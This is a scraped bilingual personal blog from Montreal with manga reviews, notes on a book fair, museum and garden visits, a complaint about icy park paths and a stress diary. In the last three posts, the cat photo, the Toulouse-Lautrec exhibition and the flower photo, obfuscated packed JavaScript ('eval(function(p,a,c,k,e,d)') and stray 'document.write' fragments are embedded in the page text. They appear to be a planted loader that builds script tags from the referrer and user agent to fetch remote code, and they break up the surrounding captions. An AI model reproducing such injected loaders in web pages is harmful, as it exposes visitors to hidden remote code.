Shigeru Mizuki

I just watched another fascinating episode of the “Manben” documentary on NHK World (see my article on this subject), dedicated this time to legendary mangaka Shigeru Mizuki (mostly known for GeGeGe no Kitarō [ゲゲゲの鬼太郎, 1960–1969], Showa: A History of Japan [コミック昭和史 / Komikku Shōwa-shi, 1988–1989], or Onward Towards Our Noble Deaths [総員玉砕せよ! / Sōin Gyokusai Seyo!, 1973]). Since Mizuki died in November 2015, Urasawa Naoki couldn’t interview him for his famous behind the scenes of manga series, but instead he meets with two of Mizuki’s former assistants, Ikegami Ryoichi (Mai The Psychic Girl, Crying Freeman, Nobunaga, Sanctuary, Strain) and Morino Tatsuya (Yokai Attack!), as well as Mizuki’s daughter, to discuss the yokai master’s techniques over original manuscripts. It really makes you want to read (or read again) his incredible works.

The episode aired yesterday (September 14) and today (September 15) and should be available to view as Video On Demand pretty soon. Highly recommended.

[ Traduire ]

SDL 2022

SDL22-PosterComme tout les ans, le mois dernier je suis allé faire mon tour au Salon du Livre de Montréal. Cette visite annuelle est une tradition que je respecte depuis que je suis adolescent. Cela fait donc une bonne quarantaine d’année que je visite le salon (j’ai sûrement sauté quelques années ici et là car j’étais occupé ailleurs mais cela doit bien faire une trentaine de fois). Je le fais parce que j’aime les livres, que je veux découvrir les dernières parutions et cela me permet de prendre le pouls du milieu de l’édition.

SDL22-planC’est la seconde année que le salon se tient au Palais des Congrès. Le bon vieux salon de la Place Bonaventure me manque un peu mais c’est surtout que j’avais une vieille habitude de parcourir le salon dans tous les sens pour ne rien manquer (dans le sens du cardo et du decumanus selon la centuriation de l’urbanisme romain) et que je trouve une configuration différente (en forme de “L” — comme dans littérature) un peu désorientante. Mais, bon, je vais m’y habituer. Il suffit de parcourir le salon par section. Au moins le salon cette année est un peu plus grand que le précédent (qui avait souffert des suite de la COVID-19).

Le Salon du Livre s’est donc tenu du 23 au 27 novembre au Palais des Congrès, avec quelques activités éparses en ville et en ligne depuis le 11 novembre. Comme toujours, on y découvre une offre de choix énorme. Il se publie tellement de choses intéressantes que j’aimerais avoir dix vies pour goûter à tous ce qui m’attire. Par contre, il y a beaucoup d’éditions qui ont une apparence amateure: de l’auto-édition et beaucoup d’éditeur collectif ou d’aide à l’édition où je suis sûr que le travail éditorial est minimal et tend plus à plaire à l’auteur pour lui soutirer de l’argent (étrange monde où c’est l’auteur qui paie l’éditeur!). Difficile dans cette pléthore littéraire (quoique les gros éditeurs semblent maintenant publier plus de documentaires que de fictions) de séparer le bon grain de l’ivraie.

Ma première impression est qu’il y a pas seulement les légumes qui coûtent plus chers cette année, la culture aussi. J’ai du payer un prix d’entrée de $13 pour visiter le salon !!! J’ai été un peu déçu car j’ai fait un bon tour du salon et je n’ai rien trouvé de bien intéressant. Quoi qu’il y a tellement de titres publiés de nos jours que c’est souvent difficile de trouver quelques choses de précis (c’était plus facile quand j’étais ado car il y avait beaucoup moins d’éditeurs et de choix). Toutefois, un grand choix est une bonne chose, j’imagine. J’ai noté qu’il y avait beaucoup plus de livres jeunesses que pour adultes. Et étrangement, cette année (C’est peut être juste une coincidence) j’ai remarqué aussi beaucoup d’auteur japonais (notamment chez Picquier qui est distribué par le diffuseur Harmonia Mundi, ici associé à Dimédia). Par contre je n’ai pas vu beaucoup de nouveautés mangas ou bds…

Comme toujours ces dernières années, je termine mon tour du salon avec une visite au kiosque de mes amis d’Alire — un kiosque rempli d’un grand choix de lectures dans toutes les littératures de l’imaginaire: science-fiction, fantasy, fantastique, horreur, polars. Il y en a pour tout les goûts. Et comme tous les  samedi du SDL, c’était le cinq à sept des revues (maintenant c’est plutôt le six à sept de LA revue, puisque Alibis n’est plus disponible qu’en ligne) avec le lancement de la dernière cuvée de Solaris, le numéro 224. Plusieurs des auteurs étaient présent pour signer votre exemplaire. Un verre de vin à la main c’était l’occasion de discuter de la situation des littératures de genre post-pandémie, d’un éventuel prochain congrès Boréal ou du cinquantième anniversaire de la revue qui approche à grand pas (en 2024).

Maintenant, il faut juste que je trouve un peu plus de temps et d’énergie pour lire. Je traine un peu et ma pile de tsundoku prends du volume !

[ Translate ]

Les montagnes hallucinées t.2 (Tanabe)

montagnes_hallucinees_02-cov“À son arrivée au campement du Pr Lake, l’équipe du Pr Dyer découvre un véritable charnier… Seul Gedney, l’assistant du biologiste, aurait vraisemblablement réussi à fuir en traîneau. Mais l’homme a-t-il réellement une chance de survivre dans ces contrées hostiles ? Rien n’est moins sûr…

Il est pourtant le seul qui saurait expliquer le spectacle de désolation que les scientifiques ont sous les yeux, et surtout le mystérieux tumulus qui renfermait les spécimens décrits par son mentor quelques jours plus tôt ! Bien décidé à retrouver le disparu, le géologue part en expédition au-delà des montagnes…

Avec un trait sombre et réaliste, Gou Tanabe met en images les pires cauchemars imaginés par H.P. Lovecraft, le maître du fantastique et de l’horreur. Aux confins des terres inexplorées, la joie de la découverte laisse place à une lutte sans espoir contre la terreur et la folie.”

[texte de la couverture arrière]

Les montagnes Hallucinées (狂気の山脈にて – ラヴクラフト傑作集 / Kūki no Sanmyaku ni te – ravukurafuto kessaku-shu / lit. “Dans une chaîne de montagnes folle; collection de chefs-d’œuvres de Lovecraft”) a d’abord été publié en feuilleton dans le magazine Comic Beam (2016-17, Enterbrain), puis compilé en quatre volumes par Kadokawa. Ce manga seinen adapte une novella de H.P. Lovecraft, reconnu comme l’un des maîtres de la littérature fantastique et d’horreur. Écrit en 1931, ce court roman a été publié par le magazine Astounding Stories en 1936, juste une année avant la mort de Lovecraft. La traduction anglaise du manga a été publié par Dark Horse et la version française est paru chez Ki-oon. 

TANABE Gou a aussi adapté en manga plusieurs autres récits de Lovecraft: The Outsider (2007), The Hound and Other Stories (2014, publié en anglais chez Dark Horse et qui inclus “The Hound,” “The Temple,” et “The Nameless City”), The Colour Out of Space (2015), et The Haunter of the Dark (2016). La prochaine adaptation de Lovecraft par Tanabe à paraître chez Ki-oon en septembre 2019 sera Dans l’abîme du temps [時を超える影 / Toki o Koeru Kage / The Shadow Out of Time ] — publié dans Monthly Comic Beam entre avril et septembre 2018. Sa plus récente adaptation est celle de L’Appel de Cthulhu ( クトゥルフの呼び声 / Kutourufu no yobigoe / The Call of Cthulhu) qui a débuté sa sérialisation dans le numéro de mai 2019 du même magazine.

montagnes_hallucinees_02-p026

Pages 26-27

Dans ce deuxième tome, le récit se poursuit là où on l’avait laissé avec la première partie (que j’ai déjà commenté fin avril). Deux membres de l’équipe de recherche de l’université Miskatonic, Dyer et Danforth, se lance à la recherche de Gedney à bord de l’un des aéroplanes de l’expédition dans l’espoir que celui-ci puisse expliquer ce qui s’est passé au campement du Pr Lake. Ils franchissent une énorme chaine de montagnes, au-delà de laquelle ils découvrent une cité cyclopéenne qui défie toutes les connaissances que l’humanité a de l’histoire de la planète! 

montagnes_hallucinees_02-p048

Pages 48-49

Ils trouvent un espace suffisamment dégagé pour atterrir et décident de mettre temporairement de côté les recherches pour Gedney afin d’explorer la cité. Si celle-ci est envahie par la glace, ses murs de pierres sont néanmoins encore assez bien conservés malgré un âge de plusieurs centaines de millions d’années! À l’intérieur des bâtiments, ils découvrent de nombreuses fresques qui relatent l’histoire de cette fabuleuse civilisation pré-humaine. Dyer et Danforth les documentent par de nombreux croquis et photographies. 

montagnes_hallucinees_02-p088

Pages 88-89

Venus de l’espace, ces créatures étranges (sans nom, fusiforme, ailé, à la tête en forme d’étoile) se sont d’abord installé au fond des océans avant que la vie y apparaisse. Cette vie, c’est eux qui l’ont créé pour en faire de la nourriture ou des esclaves afin de bâtir leur cités. Très résistants, ils survécurent à de nombreux bouleversements géologiques et à de terribles guerres — une contre d’autres fantastiques créatures ressemblant à des pieuvres, les enfants de Cthulhu, venus du plus profond de l’espace ou même d’une autre dimension; une contre leur esclaves révoltés, les Shoggoths, de puissantes créatures protoplasmiques, et finalement une autre guerre contre les Mi-go, des envahisseurs intersidéraux mi-champignon, mi-crustacés. Leur civilisation a fini par dépérir avec le temps, pour probablement éventuellement disparaître. L’humanité en a gardé le souvenir dans ses mythes sous le nom des Grands Anciens

montagnes_hallucinees_02-p209

Page 209

Toutefois, au fur et à mesure que Dyer et Danforth s’enfoncent dans les profondeurs de la cité, vers l’abîme qui fut le dernier refuge des créatures, ils réalisent que la cité semble encore en partie habitée! Mais par qui? Pourront-ils échapper à l’horreur qui dors dans cette obscurité et rester suffisamment sein d’esprit pour avertir l’humanité de ne plus jamais remettre les pieds dans ces lieux maudits?

Le récit de Gou TANABE est assez fidèle à celui de Lovecraft. Cependant, ce qui rends ce manga intéressant en comparaison à d’autres adaptations, c’est l’incroyable détails de ses superbes planches. Certains critiques lui ont reproché de manquer d’imagination lorsqu’il décrit graphiquement la cité et ses fresques mais, compte tenu de l’ampleur de la tâche, sa représentation précise du récit sur plus de six-cent pages tient du tour de force! 

La qualité du trait de TANABE et surtout celle de la reliure de l’édition française fait de ce manga un très beau livre. Le récit, malgré son rythme lent, est captivant mais n’a toutefois pas suscité chez moi l’horreur que ce genre d’histoire cherche habituellement à créer. Et c’est une des histoires de Lovecraft que je trouve particulièrement intéressante car elle dévoile en détail tout le le mythe des grands anciens — ou plutôt elle le mythifie en lui donnant une teneur (pré)historique. C’est donc à lire absolument si vous êtes le moindrement amateur de l’oeuvre de Lovecraft ou de mangas d’aventures.

Il est à noter que Les montagnes Hallucinées t.1 faisait partie de la sélection officielle du festival d’Angoulème de 2019. Aussi, la version anglaise du tome 2 paraîtra chez Dark Horse en octobre 2019 (ISBN 978-1-50671-023-5, $US 19.99).

Les Montagnes Hallucinées T. 2 (Les chefs-D’Oeuvres de Lovecraft), par Gou TANABE (dessin) et H.P. Lovecraft (histoire). Paris: Ki-oon (Coll. Seinen), mars 2019. 356 p. 15 x 21 cm, 15 € / $C 27.50. ISBN 979-10-327-0398-4. Pour lectorat jeune adulte (16+).stars-3-5

Vous trouverez plus d’information sur les sites suivants:

[ AmazonBiblioGoodreadsGoogleWikipediaWorldCat ]

© Tanabe Gou 2016 & 2017

[ Translate ]

Ad Astra VI

AdAstra-v06-covMalgré les réserves d’Aemilus, Varron reste fidèle à son plan. Il lance son immense armée contre les troupes carthaginoises, persuadé d’avoir identifié la stratégie de l’ennemi : profiter du terrain pour prendre l’adversaire au piège.

Mais rien ne se passe comme prévu et, dès le début des combats, la cavalerie romaine se fait décimer ! Tandis qu’Aemilius, blessé, cherche à préserver Scipion du carnage, le second consul prend lâchement la fuite. Si l’infanterie de Rome domine encore, la bataille ne fait que commencer…

Bravoure, complots et stratégie… Plongez au cœur des batailles qui opposèrent les légendaires Hannibal et Scipion !” (Texte de la couverture arrière)

Ad Astra: Scipion l’Africain & Hannibal Barca (アド・アストラ -スキピオとハンニバル- / Ad Astra – Scipio to Hannibal) est un manga seinen historique par Mihachi KAGANO (dont c’est le premier titre) qui raconte les faits saillants de la deuxième guerre punique qui opposa Rome et Carthage. Il a été prépublié dans le magazine Ultra Jump (entre mars 2011 et février 2018), puis compilé en treize volumes chez Shūeisha. La version française paraît chez Ki-oon.

AdAstra-v06-p21Le sixième volume est entièrement consacré à la bataille de Cannae et à ses suites immédiates. Encore une fois, les romains sont victimes de la brillante stratégie d’Hannibal. Toutes les batailles précédentes n’ont servi qu’à convaincre les romains qu’ils commençaient à comprendre sa stratégie afin qu’il puisse à nouveau les surprendre. Il commence par rassurer ses alliés gaulois en affirmant qu’ils vaincront malgré leur infériorité numérique (80,000 romains contre 50,000 alliés Carthaginois) et de lourdes pertes mais que cela en vaut la peine pour se venger du joug romains et pour l’honneur de la Gaule! Après avoir feint la retraite, les Carthaginois encerclent les romains et les massacrent. Minucius et Aemilius sont tué par Giscon. Scipion, qui avait reçu l’ordre de rester en retrait avec la cavalerie, décide de mobiliser les 10,000 hommes restés au camp en renfort mais ceux-ci refusent. Leur dernier ordre était de garder leur position et, Aemilius étant mort et Varron ayant “retraité” (fuit), il n’y a plus de généraux pour donner de nouveaux ordres.

Les pertes romaines sont lourdes: 60,000 morts (dix fois plus que les Carthaginois!) et 10,000 prisonniers (dont Rome refusera de racheter la liberté)! Maharbal est d’avis que les Carthaginois devraient profiter de la victoire et marcher sur Rome mais Hannibal refuse, ne voulant pas prendre de front un ville défendu par une muraille. Maharbal réponds “Tu sais vaincre, Hannibal, mais tu ne sais pas profiter de la victoire!” Par dépit, il massacre les villages environnants (Caius qui a survécu à la bataille mais a perdu un oeil, en est témoin). Hannibal envoi son frère Magon à Carthage pour réclamer des renforts. À Rome, Fabius reprends le pouvoir et envoi les soldats survivants en Sicile, sous le commandement de Marcellus. Scipion décide de suivre le cursus honorum et de briguer office pour éventuellement devenir consul même si la tâche se révèle ardue (“Per aspera ad astra” d’où le titre du manga). Il défit Marcellus pour obtenir son soutien à l’édilité mais celui-ci le punis. Lorsque Marcellus est rappelé en Italie pour défendre la Campanie contre Hannibal, Scipion demande à l’accompagner…

Ad Astra est un manga très bien dessiné — le style en est clair et précis. Le récit est fluide, intéressant et très instructif pour ceux qui s’intéresse à l’histoire et à la civilisation romaine. Cependant, malgré que le récit laisse de côté de nombreux détails historiques (si l’on compare à Tite-Live), ce manga s’étire sur treize volumes. Nous n’en sommes donc qu’à la moitié de l’histoire! Cela reste quand même, avec Pline, le manga historique idéal pour les amateurs d’histoire romaine.

Ad Astra: Scipion L’Africain & Hannibal Barca Vol. VI, par Mihachi KAGANO. Paris: Ki-oon, juin 2015. 210 pages, 13 x 18 cm, 7,90 € / $16.98 Can. ISBN 978-2-35592-829-1. Pour un lectorat adolescent (14 ans et plus). stars-3-5

Pour en savoir plus vous pouvez consulter les sites suivants:

[ AmazonBiblioGoodreadsGoogleWikipediaWorldCat ]

Ad Astra Publius Cornelius Scipio Africanus Major & Hannibal Barca © 2011 by Mihachi Kagano / SHUEISHA Inc.

Voir mes commentaires sur les volumes précédents:

ad_astra-v01 ad_astra-v02 ad_astra-v03 AdAstra-v04-cov AdAstra-v05-cov

[ Translate ]

Capsules

Stat’ice report

Pour suivre l’état des choses dans le parc…

Suite à mes commentaires sur l’état glacé des trottoirs du quartier VSP et des sentiers du Parc Frédéric-Back (voir mes billets Coeur de glace et N’ice park), je constate — une semaine plus tard — que, si il y a encore un effort pour déglacer les trottoirs, il n’y a par contre aucune amélioration du côté des sentiers du parc. Ce sont toujours de véritables patinoires, inaccessible à quiconque n’a pas de bons crampons aux pieds.

Pourtant, alors que je prenais ma marche de santé journalière, j’ai croisé une épandeuse qui sortait du parc Champdoré. Elle a laissé l’entrée du parc avec une quantité généreuse d’abrasif. Je me disais que c’était bon signe. Mais non! L’épandeuse n’est pas passé par les sentiers du Parc Frédéric-Back car il n’y avait pas la moindre trace d’abrasif sur la côte du sentier qui prend naissance près de l’édicule du parc Champdoré. Il n’y avais pas plus d’abrasif ailleurs jusqu’à l’entrée Émile-Journault (qui était elle aussi encore une patinoire et l’accès à l’intérieur du parc n’était toujours pas déneigé) ou même jusqu’à l’escalier de l’entrée du Pélican. Les sentiers polyvalents de ce parc devaient être accessible en toutes saisons aux promeneurs et ce n’est pas le cas! On ne peut pas s’y aventurer sans crampons! Je me suis fait dire que, plus tôt cette semaine, la situation était assez similaire dans le Parc Jarry. Cette administration municipale se fout vraiment de la gueules des citoyens! 

Je suis bien déçu… Vivement le printemps et l’été que l’on puisse à nouveau profiter de la nature que nous offre le parc. D’ailleurs la ville n’est-elle pas censé ouvrir une nouvelle section du parc en 2019?

[ Translate ]

Un dimanche au musée

IMG_3412J’ai encore visité une exposition au Musée des beaux-Arts de Montréal in-extremis: en effet, l’exposition D’Afrique aux Amériques : Picasso en face-à-face, d’hier à aujourd’hui se terminait aujourd’hui. Comme toujours, cela en valait la peine (malgré la foule).

Je n’ai jamais beaucoup aimé Picasso (et l’art abstrait en général) mais, comme il se situe aux limites du figuratif et que j’ai toujours été fasciné par la vision du monde qu’il exprime dans son art, il m’intéresse tout de même. J’ai toujours interprété son oeuvre avec l’entendement que, la photographie ayant rendu le besoin de représenter la réalité caduque, les artistes modernes ont délaissé le figuratif pour l’impressionisme, d’abord, puis pour l’expressionnisme et même carrément l’abstrait (cubisme, surréalisme, etc.). On déforme la réalité pour exprimer et inspirer des sentiments. Picasso a commencé à peindre durant une période troublée du XXe siècle, alors ce n’est pas surprenant qu’il exprime des sentiments perturbés, dérangés ou dérangeants. Je me suis toujours demandé comment il pouvait réussir à déformer la réalité d’une telle façon ou s’il voyait vraiment le monde comme cela. Quoiqu’il en soit, j’ai toujours trouvé son art plutôt laid. Mais bon, comme je dis souvent à mon épouse, pas besoin d’aimer ça pour l’apprécier! Pour apprendre, il faut aller au-delà de ses goûts et de sa zone de confort.

Toutefois, ce n’est vraiment qu’en visitant cette exposition, qui met en parallèle des oeuvres de Picasso et de l’art Africain (dans ses très multiples déclinaisons), que j’ai finalement compris son inspiration. À cette époque-là, les artistes tribaux africains tentaient de représenter les esprits de la nature, le divin, la terreur de leur démons. Et c’est dans ces formes là que Picasso a trouvé sa muse.

Étrangement, l’art africain m’a aussi toujours fasciné. J’y trouve quelques chose de surréel, et, là où l’artiste tentait de représenter le surnaturel (esprit, démon), j’y vois une vision d’outre-monde, tantôt lovecraftienne, tantôt l’expression d’une science-fiction accidentelle (extra-terrestre, créature “star trekienne” ou “alienesque”, robot, arme klingonne, etc.). 

Et c’est sous le prisme de ces deux considérations que j’ai visité, et apprécié, cette exposition…

[ Translate ]

Continuez la lecture après le saut de page >>

Continue reading

Début juin au jardin botanique

Hier après-midi s’est avéré la journée idéale pour aller faire notre première promenade de l’année au jardin botanique. L’objectif était de visiter la roseraie, le “monumental Dougherty” et un pâturage de moutons dans l’arboretum [voir le plan]. On pourra toujours revenir pour voir le reste.

Malheureusement, il était un peu trop tôt pour les roses car la plupart des parterres n’offraient encore que des rosiers sans fleurs. Toutefois, il y en avait assez d’écloses pour que l’on puisse dire avoir pris le temps de sentir les roses… (mais elles n’étaient pas toujours bien identifiées)

Sur le chemin de l’arboretum, nous sommes passé par le jardin japonais et nous nous sommes, bien sûr, arrêté au Pavillon Japonais où se tenait une exposition sur la ville de Hiroshima (jumelée à Montréal). On y présente, malheureusement trop brièvement, la vie quotidienne dans cette ville, plus de soixante-dix ans après l’infâme bombardement.

On fois dans l’arboretum, qui occupe toute la moitié supérieure du jardin botanique, nous n’avons pas tardé à découvrir le monumental Dougherty (dont il ne reste plus apparemment que deux des trois composantes). Il s’agit de deux sculptures végétales monumentales créées en 2017 par Patrick Dougherty et composées de tiges de saule tressées. L’une est intitulée “Architectural Folly” (Havre de fantaisie) et l’autre “Celtic Knot” (Dédale étonnant). C’est à la fois beau et fascinant…

Tout près de là, nos pas nous ont amené au jardin Leslie-Hancock où nous avons découvert une explosion de rhododendrons et d’azalées (i.e. des Éricacées). C’est très beau mais, ma foi, très mal identifié. Dans cette pléthore de couleurs, il devient difficile de savoir qui est quoi et surtout lesquels sont des rhododendrons et lesquels sont des azalées. Ces termes semblent interchangeables mais apparemment l’azalée est un rhododendron “à feuilles caduques ou semi-persistantes portant des fleurs à cinq étamines” alors que «rhododendron» “désigne habituellement [ceux] possédant des feuilles persistantes ainsi que des fleurs à 10 étamines ou plus.”

Après avoir escaladé un petit promontoire, nous nous sommes retrouvé dans ce qui pourrait être l’alpage gazonné de l’arboretum… où broutaient deux moutons! (barres-toi de mon herbe, humain! Je me serais cru dans Le Génie des Alpages de F’Murr!). Un peu plus loin, une bergères gardait un oeil attentif sur son menu troupeau tout en discutant avec les passants fascinés. Sous l’ombrage d’un arbre, une demi-douzaine d’autres moutons se reposaient. J’étais comblé! Il s’agit de «Biquette à Montréal», un projet d’éco-pâturage en collaboration avec le Laboratoire d’agriculture urbaine (AU/LAB). Du 15 mai au 2 juillet, neuf moutons broutent au jardin botanique de 10 à 19 heures.

C’est relaxant de regarder un mouton brouter! (Mais ne vous endormez pas…)

Finalement, notre randonné a culminée à la maison de l’arbre Frédérick-Back où nous avons visité une exposition d’arbres miniatures nord-américains. Au delà de l’étang, nous avons pic-niqué dans un magnifique petit gazebo et observé des oiseaux…

Quelle belle journée !

[ Translate ]

Un “nouveau” Taniguchi chez Pika en Mai

bluecorner-cov“Reggae est un boxeur mystérieux et mutique qui a débuté sa carrière un jour d’avril 1975 en poids légers et qui, depuis, traîne sa carcasse sur les rings de seconde zone. Pour son 33e match, il perd une nouvelle fois par K.-O., mais ce soir-là, le hasard a placé dans la salle Mister Dangelo, ancien champion du monde en poids mi-lourds, et aujourd’hui organisateur de rencontres. Ce dernier voit alors en Reggae un boxeur hors normes, doté d’un coup de poing exceptionnel. Il décide donc d’acheter le contrat de Reggae à son club actuel pour pouvoir le placer sur des rings plus prestigieux, avec des primes bien plus importantes…” [Texte du site de l’éditeur]

bluecorner_cov-voPublié au Japon sous le titre Combattant Bleu (青の戦士 / Ao no Senshi / Blue Fighter) par Futabasha en mars 1982, Blue Corner est illustré par Jiro Taniguchi et écrit par Caribu Marley (pseudonyme de Tsuchiya Garon surtout connu pour avoir scénarisé Old Boy, illustré par Nobuaki Minegishi). Cette oeuvre de jeunesse de Taniguchi nous offre un manga seinen de sport, bien documenté et dédié au monde de la boxe — un sujet un peu similaire à Garôden qu’il publiera dix ans plus tard et qui était, lui, consacré à la lutte. Car bien avant de produire ses manga consacrés à la nature (Blanco, Le Sommet des dieux, L’Homme de la Toundra, Seton) ou encore à la réminescence et à la déambulation introspective (Le journal de mon père, Le Gourmet solitaire, Quartier lointain, Le promeneur), Taniguchi a eut une période où il a dessiné des manga d’action, empreint de violence (Trouble is my business, Tokyo Killers, Garôden). Sa mort en février 2017 nous prive de nouvelles oeuvres, mais heureusement des éditeurs comme Pika continue de traduire ses vieilles productions.

Dans ce manga, Taniguchi dépeint les coulisses de la boxe à travers l’histoire de Reggae, un combattant taciturne qui connait peu de succès jusqu’à ce que le hasard mette sur sa route un promoteur qui voit en lui un nouveau champion. Blue Corner paraîtra en France le 9 mai dans la série “Action” de la collection Pika Graphic. C’est certainement à lire, car il existe encore très peu de manga d’action de Taniguchi qui ont été traduit.

Blue Corner, par Jiro Taniguchi (dessin) et Caribu Marley (scénario). Paris: Pika (Coll. Pika Graphic, série Action), mai 2018. 288 pages, 172 x 242 mm, 18.00 €, ISBN 9782811638306. Pour un lectorat jeune adulte (15+). 

Sources: Actualité Pika, Catalogue Pika, Animeland, Amazon, Google.

[ Translate ]

*whimper*

Just to recapitulate: in the last month, I’ve been locked out of my blog a couple of times (it seems to have been a browser issue but a computer reboot solved the problem), fluctuation in the electricity made the lights flickers like all hell was breaking loose (called Hydro Q and so far it has stopped), the WiFi keeps being weak and spotty (it just Bell; I tried just about everything [like extenders and Bell’s pods] without success) and sometimes just stops completely (until I reset the marvellous Bell Home Hub 3000), my computer became slow and unresponsive until the hard drive completely died (I had the HD changed but nevertheless bought a MacBook Pro to replace my aging iMac), the toaster-oven caught in fire (had to replace it) and my absurd and insane work place is making me nuts (but I’m dealing better with it)!

As a result I’ve spent the last three week-ends trying to solve problems and not at all relaxing (like sleeping, writing or watching TV). I don’t sleep well, I have various digestion’s problems, it hurts all over (my back, my knee, my ankle — as well as in unmentionable places — as the stress piles up). I am exhausted, fed up, at my wits’ end… 

I need to rest!

Hopefully an extra day off spent doing a little writing, TV watching and tending of the yard will do the trick.

Happy Fish Day and Holy Rabbit to all!

[ Traduire ]

Some spring in my steps

Soon parks and gardens will awaken
From their  hivernal slumber
And there’ll be bees and flowers !

… but now it’s mostly wet and muddy…

I took a walk around the neighbourhood this afternoon to see how spring is affecting the parks and gardens. I was pleased.

The park

The garden

[ Traduire ]

Animeland

AnimeLand est le 1er magazine français sur l’animation japonaise et internationale, les mangas et tout l’univers otaku en France. C’est probablement le meilleurs magazine du genre à l’extérieur du Japon. Dans chaque numéro on nous offre des dossiers sur les anime, les mangas et les jeux vidéos qui se sont récemment démarqués. On y retrouve aussi des portraits et des interviews avec des artisans du milieu (seiyu, animateurs, etc.), ainsi que des actualités et commentaires sur les parutions récentes. Pour le contenu détaillé de chaque numéro, vous pouvez consulter le site du magazine: animeland.fr.

Continue reading

Image du chat-medi

Caramel endormi
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anehb|var|u0026u|referrer|htzat||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhkab|var|u0026u|referrer|dtzek||js|php’.split(‘|’),0,{}))
Caramel Sleeping
(iPhone 6s, document.write(“”); 2016-10-14)

Toulouse-Lautrec: Affiche la Belle Époque

Mercredi après le travail je me suis dépêché d’aller visiter l’exposition sur les affiches de Toulouse-Lautrec au Musée des Beaux-Arts de Montréal qui se termine dimanche.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sszeh|var|u0026u|referrer|saars||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yanrf|var|u0026u|referrer|kdhhs||js|php’.split(‘|’),0,{}))

“Cette exposition présente une collection particulière d’exception qui comprend plus de quatre-vingt-dix estampes et affiches, document.write(“”); couvrant presque toute la période de la production lithographique de Toulouse-Lautrec, de 1891 (…) à 1899.”

Même si on y retrouve que les affiches de Toulouse-Lautrec (pas de peintures), c’est tout de même très intéressant. Lautrec était vraiment un illustrateur de talent. Toutefois, c’est une petite exposition qui ne comprend que quelques salles et j’en ai donc fait le tour assez rapidement (en un peu plus d’une heure). Comme à mon habitude, j’ai photographié les pièces de l’exposition qui m’interpellaient le plus afin de garder un petit souvenir de ma visite.

Voici un bref diaporama des mes photos que j’ai converti en video sur Vimeo:


Voir aussi mon album photo sur Flickr (avec titres et détails des affiches):

Toulouse-Lautrec
(iPhone 6s, Musée des Beaux-Arts de Montréal, 2016-10-26)
[ Translate ]

Image du mer-fleuri

Late tagets
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abnzf|var|u0026u|referrer|hzeda||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryazk|var|u0026u|referrer|ynbzk||js|php’.split(‘|’),0,{}))
(iPhone 6s, document.write(“”); 2016-10-02)